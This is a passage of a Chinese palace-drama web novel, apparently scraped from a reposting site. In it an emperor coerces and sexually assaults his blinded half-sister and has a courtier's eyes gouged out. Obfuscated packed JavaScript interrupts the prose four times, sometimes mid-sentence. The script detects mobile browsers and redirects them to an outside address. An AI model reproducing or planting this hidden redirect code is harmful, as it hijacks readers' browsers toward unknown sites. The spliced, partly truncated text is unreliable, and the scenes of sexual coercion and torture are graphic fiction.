拿捏不得薛柔，那还拿捏不了崔家几个小喽啰么？ 余夫人喟叹一声，晓之以理，动之以情：“明夷的命攥在那位手里，而明夷是我和老爷的命根子，全指望他苟活，不能有任何闪失……十公主，你行行好，放明夷一条活路吧！” 活路……呵。 薛柔隔一层眼纱望天，可惜天空是什么颜色，有没有鸟群飞过，她一概不得而见。 她的世界，荒凉、恓惶，没人会来救赎她的。 “你们真的以为，我与崔介一别两宽后，崔家就能安然如故了吗？” 薛怀义步步为营，薛柔也不痴不傻——崔家效忠父皇，薛怀义容不下，必然寻个由头将崔家击垮，早一日晚一日的事罢了。 那些深明大义，余夫人不懂，更不想管，她眼皮子浅，只要自己的心肝肉平平安安的。 “以后的事以后再说。公主若体体面面放手，起码现在明夷的安全有保障了。” 崔碌心系薛嘉，双手合十跟着恳求：“是啊，是啊！弟妹，你和二弟伉俪情深，指定舍不得推他入火坑的。另外，八公主也是你的姐姐，你们姊妹，打断骨头连着筋……你委屈些，大家就都有救了。弟妹，算我求你了！” 牺牲薛柔一人，以息事宁人，始作俑者薛怀义赞成，崔介及崔家人也同意，可有谁尊重过薛柔的意愿吗？ ……没有。 连她自己也开始动摇了。 “你们果真打得一手如意算盘呢。”薛柔哭了，泪水洇湿了纱巾，但在场几人默契十足，皆选择视而不见，“余夫人，你一口一个为明夷考虑，那和离这事，你有询问过他的意思么？” 崔介愿意同她一刀两断么？他应当是被瞒着的。 假设他知情，应该是拒绝的吧。可拒绝有用的话，他便不会放弃她远赴西南了。 余夫人哑口无言。 此事关系重大，崔介那孩子又是个倔驴脾气，知道了保不齐头脑一热原路返回，那可真真儿是天塌了。 薛柔就没想着要个结果，她爱慕崔介，即便他背弃于她，她亦不愿让他涉险。 “和离书，我会写的。”她的声音没有一点重量，几乎与空气不分你我，“你们可以走了。” 走吧，留她一人和龙椅上那个疯狗斗智斗勇好了，看看是他的手腕硬，还是她的骨头硬。 临来前，余夫人本以为薛柔那般胡搅蛮缠，绝不会轻易接受牺牲小我换取大义的提议，遂打定了死缠烂打磨到她缴械投降的决心，孰料，三言两语间，她竟答应了…… 余夫人心里莫名堵得慌，是哪种心情一时半会说不上来，单是难受，特别是看见她裹着眼纱，摇摇晃晃坐到椅子上，四处摩挲那根才被她愤然丢弃的笔时，难以言说的感觉到达巅峰——余夫人将将要窒息了。 余夫人见识过曾经的十公主，大摇大摆，嚣张跋扈，然短短几个月，再没了公主的架子，说起话来飘飘浮浮，比那寻常人家的女子也不如了。 以前的她为天上云，现今的她，简直和地上泥没两样了。 怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799977|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不叫人唏嘘呢。 崔碌和薛柔交情浅，不信她如此爽快，再三确认：“公主，你没诓大家玩吧？这事可太要紧了，马虎不得的！” 刚刚还弟妹挂嘴边，一转眼将界限划得清楚……薛柔自嘲，亏她生发感慨，觉得从前不该草率地把崔碌看扁了，他脑子蠢，人却是个实心眼。 多讽刺啊。 “不信吗？”薛柔摸到了笔，因笔尖朝向手心，半干的墨水戳了满掌，很黏，很腥，实在恶心，但远不及屋子里这几个崔家人道貌岸然的面目恶心，“那你一头撞死吧，好早日为崔家陪葬，也表表你作为崔家长孙的孝心。” 这群人是不是忘了，薛柔是个刻薄成性的人，居然一而再再而三地要她舍生取义！ 如不是崔介，凭薛怀义把崔家扬成灰，她眼皮子亦不会眨一下的。 崔碌恼羞成怒，作势硬气起来同薛柔对骂，余夫人及时拦下，缓了缓，说：“万望公主一诺千金，我在此先替明夷及崔家上下几百口人谢过公主的大恩大德了。” 薛柔不语，素纱之下的脸似盖了一层密不透光的黑布，阴极。 余夫人等人悻悻的，相约着出去。 崔碌兴冲冲的话音隔窗传来：“二叔母，您只管拉我作甚！这事儿牵扯广，我问清楚了，又不止我一个人受益，咱们家……” 声儿渐渐缥缈了。 说无所谓那是假的，薛柔挺心寒的，归根结底叫自己千挑万选的驸马一家子给摆了一道。 青萍霁蓝见缝插针，盈盈进来伺候笔墨，全睁着眼看见薛柔满手的墨迹，偏生连句场面话都不肯应付，两个人一左一右地立着，把薛柔夹在中间，称职地敦促她尽快写就和离书。 虎落平阳被犬欺的滋味，这程子，薛柔切身领受过了，发火的意气也使不出，管她们催不催，就握着笔杆在脑子里斟酌遣词造句。 作为了结这段婚姻的凭证，她会像彼时择选缔结良缘时赠崔介的信物一样慎重，方不负夫妻一场。 与此同时，坤宁宫偏殿。 王媖斜坐在外间的矮炕上，面前的炕桌上平铺一张信纸，上头空空如也，按理，她投往来人的眼神里也应空洞，哪怕未必，好歹得清清白白的，但她抬眸望过去，一直望入来人眼底，笑靥如花，仿佛在饱满而热烈地诉说着这些年压抑的爱意。 见面的第一眼，谢琰的心便动荡不安了，她再一笑，冲他甜美热情地一笑，所有的镇定自持就一去不复返了。 谢琰徘徊在失控边缘，他想，她一出声，他一定会一往无前地奔赴于她的。 “谢公子，久违了。”王媖起身，含笑道。 谢琰的心防，刹那间坍塌，他已然溃不成军。 “娘娘……” 无数个梦醒之后，他都会擅自唤她阿媖，情难自禁地回味那一幕幕羞于启齿的梦境。 王媖在靠近，谢琰也在靠近，终是王媖突破底线，往他宽大的手背上落下柔荑：“别叫我娘娘，我不想做娘娘，琰……哥哥。” 她早就想喊出这三个字了，很早很早以前。 谢琰闭上眼，陷入天人交战中。 他心悦于她，可她是皇后，不允许藏匿任何私情的皇后…… “琰哥哥，”王媖驱身更前进了些，抓起他的手，轻轻放在心口，“别拒绝我，好不好？” 38. 亵渎 三喜四庆仍在浣衣局受难，薛柔没忘，她很清醒，胜过亲笔写下那封和离书之时。 寤寐难眠了三个夜晚，她差霁蓝，向薛怀义投去橄榄枝。 她得救她们两个出来，一定。 薛怀义大驾光临之际，天色将晚，屋里廊下尽掌起了明灯，亮如白昼。 薛柔双目闭合，端着脖子挺着脊梁于床沿坐定，双手交叠安放大腿上，自成一派贵气。 她即便跌落云端，那也是万众瞩目、不可亵渎的存在。 “薛怀义，”盲目的日子长了，眼睛逐渐适应了黑暗，薛柔慢慢练就了调动其他感官察觉周遭动静的本事，此刻薛怀义就在她眼跟前站立，大约是带着玩味的笑俯视她的脸呢，“你放人，有什么条件，我一个人承担。” 权宜之计，只此一次。 薛柔不停安慰自己。 一份重量倏然压在她肩头，是薛怀义的手：“这便撑不住了？原来妹妹远比朕所预料的不堪一击啊。” 薛柔真想一巴掌拍开他，无奈把柄在他手里，只得忍气吞声说：“省去拐弯抹角的劲儿吧，给个痛快，放人的条件是什么。” 肩头忽而传来轻缓的点触。 薛怀义翘起食指，随意地敲打她瘦削的肩膀，语调也很随心：“先喊一声皇兄听听。” 薛柔是个吝啬鬼，十数年光阴，无数次碰面，一次都没有以“皇兄”二字指代过薛怀义。 薛怀义呢，愈是棘手的事物，愈能激发他的勃勃兴致。 她是一毛不拔的铁公鸡，不要紧，他会让她慷慨起来的，一声接一声的皇兄，就是开端。 他在羞辱她。 薛柔暗中握紧拳头，无法打他，则闷闷磋磨自己——手指更用力，尖锐的指甲深陷掌心，切出一排红痕。 “这样，妹妹的心还是不够诚啊。”薛怀义审视着她，坚决不给她任何细微的表现从眼皮子底下溜走的空子。 并非出于本意，薛柔一阵毛骨悚然，声音很细很低：“你发誓，我若按你说的做，你即刻放人。” 薛怀义付之一笑：“妹妹似乎没有与朕讨价还价的资格呢。” 短短一句话，如当头一棒，薛柔沉默了。 “看样子，妹妹尚未想清楚。”薛怀义手里提着一根鱼线，线的另一端钓的正是薛柔，他是操控全局之人，所以而今，他不打算继续惯着她了，“如此，妹妹慢慢地考虑，左右浣衣局没长着腿，跑不掉。” 他欲转身离开。 浣衣局一直存在，可三喜四庆就未必了。 薛柔给逼急了，扬声说：“我想清楚了，我想清楚了！……皇兄。” 尾音收束，她倍感悲凉。 就这么被薛怀义玩弄于股掌之间…… 薛怀义两腮漾出心满意足的笑弧，侧身乜斜她，见她略垂着脸，说不完地灰心，笑得更开：“朕没听清，再说一遍。” 一声，远远不够填补欲壑的。 自叫出那个称呼起，一切就不可挽回了，这是薛柔自己的抉择。 “我说，皇兄，”脊背弯了，她复挺直，维护最后的尊严，“你什么时候放人。” 老实说，她身上这股傲气真够令人生厌的，可怎生是好，她那张可憎的面目早在多年前就已经于眼里心里生根发芽，至今已然长成苍天大树，郁郁葱葱，坚不可摧，再也除不干净了。 他当真病入膏肓了。 “不够。” 接到邀约后，薛怀义直直出门，金銮殿上依序排列的文武大臣毅然叫他舍弃，他全心全意装着薛柔。 薛怀义紧挨着薛柔站定，多进一寸，膝盖便会贴上她的膝盖。 感到迎面而来的压迫，薛柔的左右手不由厮缠起来，难舍难分：“还存着什么龌龊，且别藏掖了，一码露了吧。反正你有何等丑陋下流，你知我知。” 那日城楼上，他无耻的话语与行径，她永世难忘—— “弃了崔介，来讨好朕。” “兄妹逾墙，才更刺激。” “押上你，赔上朕，不死不休。” …… 他待何如，呼之欲出。 该收线了。 薛怀义降下眼光，垂怜那芙蓉面，而他的手，亦不消停，悠然爱抚那片薄厚适中的粉唇。 “还记得小舟上那个吻么？” 薛柔毫无记忆，即便有，亦抵触回忆。 她绷紧脸皮，沉默是金。 “没印象也没关系，”没关系，他记得，潮湿的，微热的，血腥的，“再来一次，你知，我知，我们共同铭记。” 重点落在“我们”上。 薛柔想痛骂他，但自己的嘴巴正为他所冒犯着，她不敢贸然启唇，万一他趁虚而入……那她将无颜苟活于世！ “不愿意也没关系，朕不摘强扭的瓜。” 薛怀义在一步步进犯她的底线，横竖他捏着两个棋子，她会自投罗网的。 失去父皇母后的庇护，薛柔可谓四面楚歌，退无可退。 出卖皮囊，换取三喜四庆平安，抑或是冷心冷情，明哲保身…… 怎么办？ 她在动摇，自荐枕席只在一念之间，薛怀义乐得推波助澜，幽幽道：“朕的耐心是有限的，机会也不是次次都有的，妹妹。” 千钧一发之际，三喜四庆的脸接连涌现，她们在流泪，嘴皮子一张一张的，她听不见，因为头顶可恨的声音将其盖过了：“程胜，去浣衣局，把那两个奴婢的手剁下来，一左一右凑一双，装盒子里拿过来。动作要快，毕竟妹妹亲眼看不到，只能上手摸，放凉就不好了。” 分明唾手可得的东西，怎么能任之逍遥呢。 他后悔了。 程胜候于门外，原地转了不下几十圈，有心提醒皇帝赶紧回去议事，可别一直晾着那些大臣们，免得最后不好收场，然则窥得里头唇枪舌战的，自觉胆怯不已，顺势打了退堂鼓。 刚得喘息之机，又闻里面吩咐剁手，当即魂不附体，呆愣原地不知所措。 “愣着做什么？还是说你可怜她们，欲代她们受过？” 一记眼刀子不偏不倚飞向程胜，惊得他赶忙领命，就去办。 “不，不行！”薛柔自震慑中抽离，厉声大喊。 程胜猛刹脚步。 “妹妹可是想完了？”薛怀义闲散道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799978|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 薛柔滴下憎恨的泪水，每一个字皆担负着千斤重量：“我依你，你让他滚！” 程胜巴不得逃开这是非之地，接下薛怀义允准的眼色后，一阵疾风似的溜之大吉。 薛怀义关了门，步履轻盈，款款于床帐前站定，一双墨玉般的眼眸为薛柔调整至一个合适的方位。 薛柔想，不必万夫所指，她自己头一个唾弃自己，顺风顺水的日子过得这等惨败，九泉之下的父皇还能闭得了眼吗？ “我恨你。” 伴随此椎心泣血之言，薛柔起身，嗅着那缕龙涎香，抓住一片衣料子，顺滑中粒粒凸起，有些粗糙，大抵是袖口上的云纹。 手指一蜷，果然抓住了一节手臂，很烫，比她此时流注于心脏的血更烫。 薛柔踮起脚，眼睑处持续拂来腻腻的气息。 真是……失算了啊，当年骨瘦如柴的薛怀义竟生得如此之高，踮起脚亦做不到同他平视。 他是一头披着羊皮的狼，窥伺这么多年，只待今日一雪前耻了。 后腰乍然被人一推，紧接着结结实实撞到一个怀里，干脆利落地掐灭了懊悔之意。 “那妹妹可务必把这份恨意延续到你断气那日，多一天不嫌多，少一天不准许。” 后脑勺被牢牢扣住，有什么东西衔住了嘴巴，蚕食鲸吞口内的空气，薛柔欲惊呼，猛觉一个手扼住了脖子，力量不算大，但足以控制自由。 面门而来的攻势随之加剧，一下较一下深，残忍剥夺了她的招架之力。 像溺水的人，薛柔渐渐迷糊了，身子软绵绵，浑然不知进退。 侧颈冷不防一疼，她一激灵，才觉察到嘴巴能动了，未及庆幸劫后余生，右肩膀忽冷忽热起来——冷的是从窗户钻入的空气，热的则是上下游走的一只手。 薛柔的衣裳坏了，叫薛怀义撕坏的，他高估了自己的耐力，更低估了薛柔的魅惑力。 山雨欲来风满楼，身体内的那头困兽，即将失控了。 “薛……怀义，停下！” 薛柔寻回理智，殊死挣扎，然而无济于事，一个人一旦为欲念染指，什么伦理道德，通通踢到一边去了——薛怀义越欺越深，两人双双跌入床铺，勾得两边扎起来的纱帐摇摇荡荡。 后背有些疼。 薛柔哭了，并非疼痛引起，是怕。 “不可以……不可以……” 身上的人走火入魔般，湿哒哒的啃咬遍布每一处暴露在外的皮肤，她整个人，已经被他围堵得插翅难飞了。 外衫的口子一裂再裂，赫然面目全非，下一个得见天光的，便是守住她最后一丝尊严的小衣。 仅需轻轻一扯，完整而真实的薛柔将映入眼帘，这意味着，薛怀义再也不需要从每一个难以启齿的梦境中去认识、感受她了。 多么诱人的好处。 薛怀义原先是笑着的，当他用手指接下自她眼尾溢出的一滴泪时，他不笑了。 果真……难办啊。 “那两个奴婢，明日会有人送出宫的。” 才宁静下来的纱帐，随着床上一轻，再度摇曳出幢幢影子。 薛怀义走了。 39. 私情 翌日，“皇恩浩荡”，三喜四庆有机会同薛柔拜别。 具体说了什么，薛柔已经记不太清了，光临别前，她自己咬牙说的那句“我不会坐以待毙的”，萦绕不绝。 是的，即使逆水行舟，她也要百折不挠。 她绝对要争得一具自由身！ 后来霁蓝告诉薛柔，程胜给了三喜四庆丰厚的盘缠，要求她们或是回老家，或是去天南海北，哪里都好，就是不能继续呆在京城，倘若使那两面三刀的伎俩，自有好果子吃。 也是凑巧，三喜四庆是同乡，当年逢饥荒，家里人活不下去了，没办法才把她们卖给人牙子，得了些银子救济，阴差阳错地就进了宫，到薛柔身边当差。 十多年了，她们能回家去和家人团聚也是幸事，总强过跟着她朝不保夕的日子。 营救出她们两个，了却了一桩心事，接下来，薛柔可以心无旁骛地筹谋下一步了：养好身子，然后伺机离开这乾清宫，去慈宁宫寻求母后的庇佑；再不济，则上仁寿宫，求皇祖母垂怜——皇祖母位高权重，但凡她肯出手相帮，薛怀义就拿薛柔没辙。 拿定主意，开始付诸行动，于是乎，众人眼里，仅仅一夕之间，薛柔便移了性情，不哭不闹，按时用餐服药，还会主动和青萍霁蓝搭话，前所未有地随和，搞得二人疑窦丛生，私下讨论了好几回，究竟没个所以然。 薛柔性情大变，薛怀义一早听说了，她乖巧柔顺到不像话，论理，他必得过来探一探虚实，但微妙的是，自从上次爆发的长吻后，他开始抵触同她相关的事物，不愿耳闻她的消息，不愿看见她的人，偏偏心意和他对着干，每一个辗转反侧的夜晚，总有她白腻的身体以及她凄哀绵长的哭音作伴。 想来，他真是药石无医了。 一日，程胜瞻前顾后、鬼鬼祟祟来找薛怀义，操着煞有介事的腔调说：“陛下，才刚一个小黄门来和奴才说，远远瞧见银杏引着谢大人进了坤宁宫，走的侧门。” 朝里众多谢姓官员，薛怀义日理万机，哪有闲工夫一个个操心，便问：“哪个谢大人？” 程胜说：“就是王中书令的学生，单名一琰字，现在翰林院任职。” 皇帝不喜人称王中书令为国丈，左右掂量轻重，统一口径，仍照其官职称呼。 王家及其干连的是非，薛怀义上心又敷衍。 上心在，恐王家自恃外戚的身份怀揣不臣之心，这就须要无时不刻地留意其动向；敷衍在，跟王家的瓜葛，不过是逢场作戏，只待过河拆桥、鸟尽弓藏那日来临，至于无辜的王家人，一颗废棋，不值得他多心考虑。 “今儿什么日子了？”薛怀义像是随口一提。 “三十了。” “嗯。”薛怀义眼光渐渐深邃，不可捉摸，“明晚记得提醒朕去坤宁宫陪皇后用晚膳。” 名义上乃吃饭，实际上，或可称之为兴师问罪：他待审一审，这位义愤填膺指责他有悖人伦的皇后，到底不安分多少时日了。 新月伊始。 银杏围在方桌外布菜，余光依次转过缄默的帝后，心底无端发怵。 近来，王媖被情爱的雨露滋养灌溉着，无心其他，整个人钝了不少，一星半点也没发觉今夜饭桌上的氛围和其余时候有何不同，倒是在一心两用，思忖下一次待月西厢的日子。 “都退下。” 薛怀义不耐，放了碗筷，背往后仰仰。 一众宫女唯唯诺诺，单是银杏，心惊，碰掉了一个空碟子，正正好粉碎在薛怀义脚边。 “奴婢……奴婢这就打扫干净……” 银杏着急忙慌蹲下，徒手去捡碎片。 骨肉匀称的手上，蓦然踩上一只靴子，没有很用力。 “别人都乖乖走了，你却在这六神无主的，莫不是……”薛怀义斜低着眼，“心怀鬼胎？” 将王媖的发簪传递出去以前，银杏没做过一件伤天害理之事，她不会欲盖弥彰；一切又来得太突然，没给她钻研撒谎的真谛的时间；她欲哭无泪，纸终究是包不住火的呀！ 鬼胎是王媖怀的，她尚且沉得住气，牵出几分笑打圆场：“这丫头就是笨手笨脚的，前儿剪坏了一盆花，臣妾还说她来着。银杏，你快出去叫个人来收拾利索，你就别再进来伺候了，洗把脸梳个头清醒清醒。” 期间不断给银杏使眼色。 银杏何尝不愿走，奈何自己这头一抽手，手背上蹬着的脚便更使劲，她疼得不敢轻举妄动啊。 “哦？”薛怀义怡然欣赏着银杏因疼痛而扭曲的脸，“她帮皇后鞍前马后时，可和笨手笨脚挂不上钩呢。” 他说得含蓄，扫过皇后银杏的眼神也暗昧，其实，就看她们主仆谁先撑不住露马脚了。 秽乱后宫是杀头的营生，银杏万万不敢轻易交代，额头同别得发硬的胳膊一同塌在地上，死咬牙关。 银杏坚持得下去，王媖就能挺住，冷静中暗含讽刺：“陛下是从哪吃了炮仗，到臣妾这儿来败火了，揪着一个宫女开刀。” 与其说王媖是胆肥了，非但有在皇帝眼皮子底下与人暗度陈仓的能耐，且事到如今还敢讥讽皇帝，倒不如说她一直有颗叛逆的心，只是被前十几年的森严礼教压住了，等时机一成熟，宣泄与爆发如期而至。 反叛心太重的人，薛怀义不喜欢。 显然，王媖在玩火自焚。 “朕竟不知，皇后伶牙俐齿至此。”眼睛一眯，脚下一使力，“嘎达”一声，银杏的手指骨断裂了，旋即，凄厉哀嚎响彻正殿。 薛怀义一掀脚，冷眼相看那个滚成一团撕心裂肺的人，薄薄的唇承载着寡淡的笑：“欺君罔上，千刀万剐——你们，是在找死么？” 当他残忍地踩断银杏的手骨那瞬，东窗事发已成定局——王媖腿肚子一软，瘫坐在地，旁边是惨叫不绝的银杏。 错了吗？ 她与谢琰，错了吗？ ……她不知道。 真的，不知道。 薛怀义掸掸衣摆，此处挨过银杏，他嫌脏。 “来人，把谢琰叫过来，不要惊动其他人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799979|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 生气之余，他看到了更具价值的东西：欲除掉王家，然苦于一时寻不到合适把柄，而皇后的背叛，恰如久旱逢甘霖，如若对此做一做文章……妙极了。 程胜办事得力，神不知鬼不觉地领来了谢琰，以至于进门看见王媖及银杏的惨状之前，谢琰都始料未及是图穷匕见了。 银杏疼晕过去，王媖也麻木不仁，脸上一会哭一会笑。 谢琰的心顿时碎成了一瓣瓣，心灵的痛苦映现到面部，他的两条乌黑剑眉低低地压在眼睛上，无限哀伤。 “心疼了？” 谢琰堂而皇之地眉目传情，薛怀义一览无余，碍眼，不为他染指皇后，实为这对男女公然挑衅他手中的皇权。 谢琰被慑住了，顿了顿，摇摇坠到地板上。 求饶？不，到这节骨眼上，求饶是最没出息的。当初既承了她的情，现在便该护着她，哪怕折了这条命！ “是臣一人肖想，陛下要杀要剐，尽冲臣来吧！” 这话，有些耳熟，对了，薛柔曾发表过。 “好一个痴情种，朕若不成全谢爱卿的一片痴心，不免显得朕铁石心肠了。”薛怀义拍手叫好，神态口气却急转：“来呀，把谢爱卿的眼珠子剜了。” 谢琰认了，深深望过失魂落魄的王媖后，以额贴地，叩谢隆恩：“臣谢陛下的大恩大德。” 门外鱼贯而入三个内侍，一个拿尖刀，一个捧漆盒，一个抱绳子。 一幕惊醒梦中人，王媖手脚并用，爬去薛怀义脚下，含泪求：“陛下，陛下，是臣妾引诱的他，他是受臣妾所迫……要罚，只罚臣妾吧！打入冷宫、白绫赐死、毒酒鸩杀……臣妾通通接受，求陛下，饶了王家，饶了谢琰！” 薛怀义满面傲然：“不然你以为，这个皇后之位你依然能稳坐么？” 凄厉哀鸣惊飞屋檐上停栖的几只鸟雀，鸟雀振翅，躲去乾清宫，竟觉哀嚎依旧，吱吱叫唤两声，展翅飞往更远处。 薛柔正准备就寝——因决定养身体，平时在吃睡上花的心思就多了，务必好吃好睡，今忽闻屋外尖叫不住，心里纳闷，遂叫青萍进屋来询问：“哪里的动静，怎么回事？” 青萍今晚当值守夜，才在廊下铺好铺盖，就被远处的哭叫吵怔住了，细细分辨一阵子，隐约是从东边传过来的声响，具体是哪处，不得而知。 “公主别管了，歇吧，奴婢守着您。” 薛怀义教给青萍霁蓝的第一个道理是，探究欲不可有，故此，无论发生什么惊天地泣鬼神的事儿，她们须要操心的，仅安分守己。 青萍霁蓝犹如两个死人，多的话套不出来，薛柔习以为常，摆摆手命青萍出去。 那悲啸，来得猛去得疾，约摸一炷香，消停了。 薛柔将胸前的被子整平些，瞑目入睡。 经历一桩桩一件件惨痛的变故，薛柔学会了事不关己高高挂起，她得保存精力，为将来的计划铺路，至于今夜是谁死去活来，明夜又是谁痛不欲生，皆和她无关；若非要怪，只怪那些人时运不济吧。 40. 光明 谢琰的眼睛被挖了，装在精致的木匣子里，王媖抱着它，鲜血从四周的缝隙钻出来，滴滴答答，淋满了她的双手。 东方熹微，一切都结束了，一切又好像刚开始。 遵圣意，两个太监合力抬生生疼晕过去的谢琰下去医治，后有人迅速将遍地狼藉清扫干净，但仍旧弥漫着血腥气。 王媖想吐，可萦绕鼻端的气息出自谢琰，她心上人的血气，她不能吐。 晨光洒进窗棂，薛怀义半偏着身子，迎着光明，迎着乾清宫的去向——昨晚闹得不安宁，她应当被吵着了吧。 “哐当——” 盒子滚落，王媖伏地，张嘴狂呕，纯粹有些粘稠的黄水，没别的，因为这一夜她已吐过好几回，胃已挖空了，生气也榨干了。 “想不想去陪着他？” 她肯定叫吵到了，那么，她害怕吗？ 薛怀义一边哂然思忖，一边展开这场迟来的宣判。 耳朵里嗡鸣不止，王媖的世界，好似退化成了一条线，一条没有尽头的线，不知从何处生发，也不知会向何处延伸。 薛怀义的审判太迟了，王媖听不见。 “朕在问你话。” 那条无趣的线，渐渐有了起伏，一上一下，奔腾不息，然后向王媖张牙舞爪地扑过来。 皇帝在问她想不想去陪谢琰，她听清了。 “别动他，别杀他！” 想，铺天盖地地想，但她去了，他会死，王家也会遭受灭顶之灾，她……不能。 惊恐万状的咆哮中，薛怀义转头，优雅从容，并且孵出轻薄的一点笑意，却充满操纵风云的恶意：“放心，朕不杀他，也不杀你。” 两个可有可无的棋子凑成一对，倒碰撞出了不可替代的火花，他怎么舍得取了他们的性命。 泪夺眶而出，掀起两行凉意。王媖问：“那，你想做什么？” 死罪可免，活罪难逃，她还没准备好。 好看的嘴唇一开一合，薛怀义说：“朕不介意成人之美。来，告诉朕，想不想和谢琰双宿双飞？” 极致蛊惑。 王媖猛一哆嗦，泪流得更凶。皇帝当真会轻拿轻放吗？ “想必，你的心里已经有答案了。”他暂停话锋，俯看王媖。他在等羊入虎口，心甘情愿地。 掌控人性，操控欲望，薛怀义一贯精通，胸有成竹的意气自面容洋溢开来。 一再为谢琰冲昏头脑的，是王媖。他是她的软肋，二人之间的感情是她一生的期许……如果可以，她想再自私一次，仅此一次。 “那王家……” 旭日东升，朝阳慷慨地眷顾着薛怀义。 “王家若有功成身退的觉悟，朕自然不会加以为难。” 所谓“不会为难”，指留王家族人一条命，仅此而已。 “只要王家……识相，陛下就绝不动干戈，我可以这样理解，对吗？” 昨夜之血色阴霾历历在目，王媖不敢轻易相信皇帝会不以见血收场。 慷慨的天光下，薛怀义似乎也变得慷慨起来，爽朗道：“当然。血，腥秽之物，黎明百姓忌讳，万里山河亦忌讳。” 血光于江山百姓无益，他立志励精图治，名垂青史，权衡利弊，嗜血本性倒可抑制得住了。 王媖仍抱有质疑，但沦落如今，伸头是一刀，缩头也是一刀，她没得选，只能听任皇帝的安排，圈在这座美梦崩塌的宫殿内，与日出日落大眼瞪小眼。 记不清过了多少个日夜，程胜到访，附上一碗黑不见底的浓汤，不咸不淡道：“陛下有令，叫您喝了它，沉沉地睡上一觉，再睁眼，就好同谢公子重聚了。” 毫无音讯前心焦，有确切消息后，反而胆怯了。 王媖犹豫不决，恐这碗来路不明的汤水下肚后，迎来的并非欢喜团圆，而是一命呜呼。 程胜大大方方展露鄙夷：“过了这村可没这店了。再说，王家那边都快安顿妥当了，您如果临阵反水，啧啧啧，那后果可不堪设想啊。” 时至今日，对外放出的消息是，皇后突感恶疾，太医院上下正竭力施救中，但情况不大乐观；王媖父亲那头，也已见过皇帝，彻夜长谈后，王父遣散家仆，以“爱女身患恶疾时日无多，深感痛心无力朝政”为由，递上辞呈，皇帝拒而不受，王父再递，皇帝再拒……现已进行到第三个回合。 箭在弦上，不得不发，王媖势必成为一个弃子——婚姻上，亲情上。 程胜慨然告知一切，笑看王媖承受命运的作践。 “那我可以安心做我自己的事了……”王媖泪眼婆娑，端起碗一饮而尽。 谢谢，谢谢父亲的绝情，让她对这段满是虚情假意的亲情彻底死心。 深秋，万物萧瑟。 薛柔久违地做梦了。 梦里，父皇执狼毫，墨迹潇洒，仿佛是察觉她来了，抬脸欢笑着朝她招手说：“小十，快来，瞧瞧朕新写的字。” 她依言移过去，却发觉那桌子很高，和双目齐平，即使她努力踮脚伸脖子，依然看不见父皇所指的字。 她急了，牵着父皇的袖口摇撼：“父皇，儿臣看不到，怎么也看不到。” 头顶塌下来一个手掌，划圈揉着，父皇的声音也好温柔：“是朕疏忽了，你个头小，够不着桌子，自然不好看。” 肋下伸进来一双手，双足随之离地，她坐在了一双臂弯里。 “好了，小十，你再看看朕的字。” 视野油然清澈，金丝楠木方桌上，平展一大张宣纸，上书四个大字，铿锵有力：正大光明。 梦境戛然而止，薛柔缓缓睁眼，一束金光直打下来，刺得她忙举手挡在额前。 还处在梦里吗？ 她咬一下舌尖，是痛的…… 梦中父皇的话适时回荡：小十，你看见了吗？ ——看见了，全都看见了。 薛柔拿下手，半眯着眼感受阳光的照耀。 这般澄澈的天光，真的是恍如隔世……不枉她忍耻发奋的辛苦。 眼角一片冰凉。 是父皇重新给她带来了光明，父皇一直在九泉之下守护着她……父皇，从未远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799980|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离。 霁蓝打热水进来，照惯例服侍梳洗，见薛柔眼睛欲闭不闭，以为是眼疾又犯了，忙搁下脸盆凑去细问：“公主可是眼睛不舒服？要不要请吴太医过来看一看？” 昔日，薛柔大概会回绝，吴中为薛怀义鞍前马后，跟这种人接触，倒她胃口；而今日，她一改常态，欣然表态：“嗯，去吧。” 仔细查一查这失而复得的光明能维持多久，一天，一月，一年，还是永无后患。待查清楚了，她好制定相应的计策。 有皇帝罩着，吴中不敢慢待薛柔，提上药箱速至现场。 经过详尽的检查，吴中喜不自胜，连叹连笑：“奇迹啊，真乃奇迹啊！” 既是奇迹，怎么少得了那个人——薛怀义快步赶来分享喜悦。 吴中嘱咐了一条条注意事项，薛柔认真聆听，薛怀义更加上心，肃着一张脸听完。 